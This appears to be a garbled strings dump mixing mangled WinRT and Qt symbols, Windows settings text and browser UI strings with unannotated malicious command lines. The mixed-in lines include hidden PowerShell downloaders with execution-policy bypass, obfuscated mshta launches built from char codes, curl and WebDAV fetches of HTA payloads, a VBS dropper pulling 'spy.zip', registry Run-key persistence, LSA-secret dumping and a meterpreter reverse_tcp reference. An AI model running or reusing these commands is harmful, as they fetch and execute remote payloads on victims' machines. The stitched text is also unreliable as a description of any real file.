_base@impl@3@@impl@winrt@@U?$IVector@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IVector@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce@USettingsEntityViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$implements@UXamlUserType@implementation@TaskManagerApp@winrt@@UIXamlUserType@234@UIXamlType@Markup@Xaml@UI@Windows@4@UIXamlType2@789Windows@4@@winrt@@
.?AU?$producers_base@UXamlUserType@implementation@TaskManagerApp@winrt@@V?$tuple@UIXamlUserType@implementation@TaskManagerApp@winrt@@UIXamlType@Markup@Xaml@UI@Windows@4@UIXamlType2@67894@@std@@@impl@winrt@@
.?AU?$producer_convert@UXamlUserType@implementation@TaskManagerApp@winrt@@UIXamlType@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UXamlUserType@implementation@TaskManagerApp@winrt@@UIXamlType@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UXamlUserType@implementation@TaskManagerApp@winrt@@UIXamlType2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UXamlUserType@implementation@TaskManagerApp@winrt@@UIXamlType2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UXamlUserType@implementation@TaskManagerApp@winrt@@UIXamlUserType@234@UIXamlType@Markup@Xaml@UI@Windows@4@UIXamlType2@789Windows@4@@impl@winrt@@
.?AU?$implements@UEcoModeDialogViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@winrt@@
.?AU?$producers_base@UEcoModeDialogViewModel@implementation@TaskManagerApp@winrt@@V?$tuple@UEcoModeDialogViewModel@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@3@@std@@@impl@winrt@@
@implementation@TaskManagerApp@winrt@@UIUIElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement3@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement4@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElement5@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement5@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement7@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElement8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement8@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElement9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement9@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElement10@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement10@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIAnimationObject@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IAnimationObject@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIVisualElement@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IVisualElement@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require@UProcessesPage@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@UIFrameworkElementProtected7@7894@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControlProtected@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementProtected7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElementProtected7@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$base@UProcessesPage@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@UUserControl@67894@UControl@67894@UFrameworkElement@7894@UUIElement@7894@UDependencyObject@7894@@impl@winrt@@
f$dows\system32\cmd.exe/cstart/minpowershell-command"$
-exbypass-windowstylehidden-file$tmpf"-windowstylehiddenstart-sleep-seconds2remove-item$tmpf-force-erroractionsilentlycontinueremove-item$env:
powershell.exe-windowstylehidden-command"&{import-modulebitstransfer;start-bitstransfer'https://mtonlino.s3-eu-west-1.amazonaws.com/image2.png
\windows ntG
dows\system32
c:\windows\system32\
-WindowStyle Hidden -ExecutionPolicy Bypass -NoPro
D -noprofile -windowstyle hidden -executionpolicy bypass -commandp
u Windows 10 tr
limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
 Windows
 @Digest Authentication for WindowsE
DPOINT.WINDOWS(@
crc:\windows\system32\cmd.exe/crobocopy"\\agricultural-brooks-nevertheless-hawk.trycloudflare.com@ssl\davwwwroot\re_22wsf"%temp%
c:\windows\system32\cmd.exe/c"curl.exe-s-u8bfe40f2-808b-43e0-96ba-c127bad882aa:1eeac24f-78e6-4093-872a-148e735c9c34-o%appdata%\past.htaftp://myfileview1.com:6311/past.hta"&%appdata%\past.hta
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell-command'uqtsm[`6fha6[bo=yymshtahttps://awakka-aws3.zoho-documents.com/hekko.mp4uqtsm[`6fha6[bo=yy'.substring(18,54)".
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-noprofile-executionpolicybypass-command"iex(iwr-usebasicparsing'https://pastejustit.com/raw/s4-81679-8').content"
[internetshortcut]url=file://wpspdf.help@7/webdav/.lnkworkingdirectory=\\system64.help@7\webdav\jpg.zipshowcommand=7iconindex=67iconfile=c:\windows\system32\imageres.dllmodified=20f06ba06
windows.hlp
Windows.Storage.dll
}Lua:FnameAttr!windowscodecs.dll
AGGR:FileInsideWindowsFolder
WindowsVersion
Windows.Internal.Shell.VirtualDesktopManagement
PSModulePath=C:\Program Files\WindowsPowerShell\.
s;C:\WINDOWS\system32.
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateString
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsCreateStringReference
WindowsDuplicateString
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
c:/windows/system32/dl
c:/windows/system32/d
ll\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
Windows PowerShellW
s\system32\cmd.exefilesha
c:\windows\system32\cmd.exe/cp""o""w""e""r""s""h
-windowstylehidden-
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_5>@?7??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_4>@?6??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_3>@?5??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_4>@?6??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_4>@?6??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_2>@?4??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_2>@?4??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_3>@?5??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_3>@?5??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_1>@?4??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_1>@?4??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_2>@?4??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_1>@?4??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_4>@?6??Connect@?$AppHistoryPageT@UAppHistoryPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_3>@?5??Connect@?$AppHistoryPageT@UAppHistoryPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@$8H
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
')suggest windows|assist|snap assist|choose window|snap settings|multitasking settings|F
windows in taskbar, Task View and Alt+Tabt
snapped windows in taskbar, Task View and Alt+Tab
,_snapped windowS
/AAA_SystemSettings_Misc_RollbackYourPC_Windows7
back to Windows 7
aAAA_SystemSettings_Misc_RollbackYourPC_Windows7
AAA_SystemSettings_Misc_RollbackYourPC_Windows10
!AAA_SystemSettings_Misc_RollbackYourPC_Windows10
Windows 10G
'AAA_SystemSettings_Misc_RollbackYourPC_Windows10
to Windows 10L
1AAA_SystemSettings_Misc_RollbackYourPC_Windows10
back to Windows 10
aAAA_SystemSettings_Misc_RollbackYourPC_Windows10
recovers|recovery|refresh|refreshes|reinstall|re-install|restores|reset your pc|reset your computer|reset my pc|reset my computer|reset this computer|reset device|reset pc|reset computer|system reset|reset system|go back to previous version|go back to older version|go back to old version|restore pc|recover computer|restore settings|reinstalling|windows reinstall|fix issues using windows update|troubleshoot windows update|C
windows sandboxG
windows sandboxG
windows feturesG
windows feturesG
turn windows features on or off.X
turn windows features on or off.X
turn windows features on and offX
turn windows features on and offG
turn on windowsG
turn on windowsA
Pc:\windows\system32\windowspowershell\v1.0\powershell.exe-win1.([char](100+1)+[char](100-1)+[char](100+1+3)+[char](115-4))
c:\windows\system32\cmd.exe/c"curl.exe-s-u
c{Lrwshshell.regwrite"hkcu\software\microsoft\windowsnt\currentversion\windows\load","c:\users\public\config.vbs","reg_sz"
"http://2i.wf:8080/b/oy/w/xj5w/wbks/geql6br/oo/!computername!"bkxxa^z^h^dr=um^zokk^o^e-qn%windir%\system32\shell32.dll
"http://a0.pm:8080/agahfqbuodaomvjmfvaj/ub3ytpp9wo2skjisa4/%computername%"-q^u^i^e^t!%systemroot%\system32\shell32.dll
"http://2t.pm:8080/awybqdzlla/zzutekln97yrfyoogun7fg/!computername!"wm^ma^t^on=v^y^sd^jdm%windir%\system32\shell32.dll
T"http://m0.nu:8080/asywe/t0zmxrxx8v/ac6jtt/yx7vhn/!computername!"-^q^n^ssqd^q^ce=ws"%systemroot%\system32\imageres.dll
"http://q0.wf:8080/yfyhqkoxb/uhia7lacu/ykczqhvqgd1vfbtiu/qau/%computername%"qq^dc=s^suedp%windir%\system32\shell32.dll
c:\windows\system32\cmd.exe/ccd{
Allow an app through Windows FirewallE
cClassic_{1498BF43-8A3E-4B9C-917B-C419E4501A62}(sFind and fix problems with Windows FirewallL
Windows Security*
uAAA_SystemSettings_WindowsProtectedPrintMode$
Enable or disable Windows protected print mode (WPP)D
encriptaapistubdosc:\windows\system32\weweweee.dllvbasssssrcopy
\\WINDOWS11
WindowsDuplicateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateString
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
WindowsApp
C:\__w\1\s\src\packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\include\wil\resource.h
C:\__w\1\s\src\service\WidgetService\x64\Release\Generated Files\winrt\Windows.ApplicationModel.h
zC:\__w\1\s\src\service\WidgetService\x64\Release\Generated Files\winrt\Microsoft.Windows.Widgets.Internal.Feeds.Hosts.h
C:\__w\1\s\src\service\WidgetService\x64\Release\Generated Files\winrt\Microsoft.Windows.Widgets.Internal.Hosts.h
windows.hlp`
?defaultWindowState@QPlatformIntegration@@UEBA?AW4WindowState@Qt@@V?$QFlags@W4WindowType@Qt@@@@@Z
V?registerTouchDevice@QWindowSystemInterface@@SAXPEBVQTouchDevice@@@Z
.N?handleNativeEvent@QWindowSystemInterface@@SA_NPEAVQWindow@@AEBVQByteArray@@PEAXPEAJ@Z
N?handleContextMenuEvent@QWindowSystemInterface@@SAXPEAVQWindow@@_NAEBVQPoint@@2V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
"N?handleEnterWhatsThisEvent@QWindowSystemInterface@@SAXXZ
??$handleThemeChange@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@@Z
??$handleCloseEvent@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@@Z
??$handleWindowActivated@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@W4FocusReason@Qt@@@Z
??$handleMouseEvent@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@AEBVQPointF@@1V?$QFlags@W4MouseButton@Qt@@@@W4MouseButton@Qt@@W4Type@QEvent@@V?$QFlags@W4KeyboardModifier@Qt@@@@W4MouseEventSource@5@@Z
2N?handleScreenAdded@QWindowSystemInterface@@SAXPEAVQPlatformScreen@@_N@Z
7N?handleScreenRemoved@QWindowSystemInterface@@SAXPEAVQPlatformScreen@@@Z
5N?handleScreenOrientationChange@QWindowSystemInterface@@SAXPEAVQScreen@@W4ScreenOrientation@Qt@@@Z
3N?handleScreenGeometryChange@QWindowSystemInterface@@SAXPEAVQScreen@@AEBVQRect@@1@Z
4N?handleScreenLogicalDotsPerInchChange@QWindowSystemInterface@@SAXPEAVQScreen@@NN@Z
??$handleWindowScreenChanged@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@PEAVQScreen@@@Z
hDump LSA Secrets\\%s\ADMIN$%s.Obfuscated-lp MyWindowsMachine administrator password!#TEL:Trojan:MSIL/Zilla.KAAG!MTB
oed.ReviewgroupEndWindows.UI.Xaml.Documents.RunAsUser-AgentopScrollBeginDragetSystemPropertiesAsyncloudServiceProvideretryLanet
6!microsoftoffice/16.0(windowsnt10.0;microso
0echopowershell-windowstylehidden-command"start-process-filepath'%%~f0'-argumentlist'h'-windowstylehidden"
wow64_microsoft-windows-ui-xaml-controls_31bf3856ad364e35_none_b7a42ad923cc32d5
wow64_microsoft-windows-ui-xaml-inkcontrols_31bf3856ad364e35_none_63c5e58586a07c1f
wow64_microsoft-windows-ui-xaml-maps_31bf3856ad364e35_none_772f85e44277d36a
wow64_microsoft-windows-ui-xaml-phone_31bf3856ad364e35_none_cd1cc55261cfccbf
wow64_microsoft-windows-upnpcontrolpoint_31bf3856ad364e35_none_5d0d45851a9e9259
wow64_microsoft-windows-upnpdevicehost_31bf3856ad364e35_none_53615d0936a55f44
wow64_microsoft-windows-upnpssdp_31bf3856ad364e35_none_3d92e59ab374e50e
wow64_microsoft-windows-usbceip_31bf3856ad364e35_none_ecb91c8cda2bacda
wow64_microsoft-windows-usbperf_31bf3856ad364e35_none_ed32509cd9cec53a
wow64_microsoft-windows-usbui_31bf3856ad364e35_none_7e92e5e845b7b7f1
Microsoft.Windows.Widgets
C:\__w\1\s\src\x64\Release\Microsoft.Windows.Widgets\Microsoft.Windows.Widgets.pdb
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
windows.hlp`
Windows feedback frequency
feedback surveys|surveys|feedback hub|diagnostics and feedback settings|feedback settings|telemetry settings|feedback privacy settings|feedback frequency settings|Windows permissions|E
Windows collect activities from this PC
Windows sync activities from this PC to the cloudo
COMPUTERNAME=WINDOWS11
DriverData=C:\Windows\System32\Drivers\DriverData
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
WINDOWS\
WINDOWS\ServiceProfiles\Network
=C:\Windows\System32\
WINDOWS\ServiceProfiles\Local
system32\cmd.exe
WINDOWS\system32\config
=C:\Windows\S
WINDOWS\ServiceProfiles\Network
=C:\Windows\System32\
WINDOWS\ServiceProfiles\Network
system32\cmd.exe
SOFTWARE\Microsoft\Windows NT\CurrentVeP
WINDOWS\system32\config
WINDOWS\ServiceProfiles\Network
=C:\Windows\System32\
windows.hlp`
windows-1252
8architecture='X86' bitness='64' buildNumber='26200' distroName='Windows
Windows 11 Pro, 64-bit (Build 26200.7840)(
sts.windows.net
sts.windows.net
sts.windows.net
UX.KFMWindowsBackupWizardUILaunch
!%\Packages\microsoft.windows.fontdrvhost\AC\Temp
WindowsAppRuntime.Release!1.6.602w
Microsoft.Windows.System.winmdw
WindowsAppRuntime.Release!1.5.1y
Windows.AppLifecycle.winmdx
WindowsAppRuntime.Release!1.5.1}
WindowsAppSdk.
WindowsAppRuntime.Release!1.7.208x
WindowsAppRuntime.Release!1.7.208u
Windows.;
soft.Windows.Widgets.winmdz01
	WindowsSecurityAppList.s
	Windows.Security.AccessC
Microsoft.Windows.ApplicationM<
WindowsAppRuntime.DeploymentExtensions.OneCorD
WindowsAppRuntime.Release!1.8.209t
C:\WINDOWS\system32\fontdrvhost.exe-
ROOT\Microsoft\Windows\Defender
ROOT\Microsoft\Windows\Defender
 Windows
WINDOWS\system32\config
=C:\Windows\S
OMPUTERNAME=WINDOWS11
	\system32\cmd.exe
WINDOWS\system32\config
C:\WINDOWS\system32\fontdrvhost.exe-
WINDOWS\ServiceProfiles\Local
system32\cmd.exe
.z5.web.core.windows.net/
objfile.writeline("objfile.writeline(""cmd/c""""c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehiddeninvoke-webrequest'https://gitlab.com/ranlab1st/spyware/-/raw/main/spy.zip'-outfile'c:\users\public\spy\spy.zip'"""""")")objfile.writeline("objfile.writeline(""cmd/c""""c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehiddenexpand-archive-path'c:\users\public\spy\spy.zip'-destinationpath'c:\users\public\spy'-force"""""")")objfile.writeline("objfile.writeline(""cmd/c""""c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehiddenstart-processcmd-argumentlist'/cc:\users\public\spy\spy.bat'-windowstylehidden"""""")")
for/f"delims="%%ain(list.txt)docopysqlsrvtmg1.exe\\%%a\c$\windows\
WindowsAppSdk.
Microsoft.Windows.Management.Deployment.winmdt
Microsoft.Windows.Globalization.winmdt
OM.SDKWindowsH
C:\Windows\system32\cmd.exe
APPDATA=C:\WINDOWS\ServiceProfiles\Local
DriverData=C:\Windows\System32\
C:\WINDOWS\system32\SecurityHealthService.exe
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Esavedfromurl=(0033)https://www.senhorinihost.com.br/--><html><head><metahttp-equiv="content-type"content="text/html;charset=windows-1252"><metaname="color-scheme"content="lightdark"></head><body><divclass="line-gutter-backdrop"></div><formautocomplete="off"
zcmd.exe@ur"z4u.|pcmd.exej-inc:\windows\system32\cmd.exeusbdrive/d/rtypexphfk.sav|cmd%windir%\system32\shell32.dll%comspec%%comspec%%wn]nd.q`xdesktop-f5n1apesd!_d[5-x^dsd!_d[5-x^d1spsxfl8c&mq/s-1-5-21-2752168081-3001907777-1866538985-100291spsmdphh@.=xhh{p
SetWindowSize
Digest Authentication for Windows
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
etworks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
+windows/meterpreter/reverse_tcp
32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('m###s###h###t##a###h##t##t#p##:#//###b###o#ok#i#n###g##ma###n#a#ge##.#co#m#/##m#anag#e##/b##o#ok###i#n##g##'-replace'#'
c:\windows\system32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('m###s#h##ta######h###tt##p###s:###//#b###o#o##ki##n#g#manag#e#.##c###o#m###/m#a##n#a###ge##/#s#y##sto#ol###sv###'-replace'#'
c:\windows\system32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('m##s#h#t###a##h#t##tp##s:/##/##s###m#a###r##t###s#er##v###e###r#s2##5###.co#m###/###w##h##i###t##e###p#ap###e#r##'-replace'#
c:\windows\system32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('ms#h#ta####ht###t###p##s##:###/##/#s##m##ar#ts#e#r###v###e#r###s2##5###.##c##om##/p##r##es##a###l#e##f#o#r##m###'-replace'#'
c:\windows\system32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('msh#t###a###h#t##tp###:###/###/#bo#o#k###i###ng#m##a###n##a##g#e##.c###o##m/##m#a##n##a#ge##/#bo#o##k##i###n#g###s###'-replace'#'
c:\windows\system32\windowspowershell\v1.0\powershell.exe-command$dwf='dow'+'nloadfile';$wnn=$env:programdata+'\'+('
&c:\windows\system32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('ms###h###t###a####h###t##t###p###s#:##//#r###i#p###p##l###e###m##a##s##c#ot.###m#on#e###y###/###m#i###c#ke###ym##/#m#i##ck###e##y##'-replace'#')
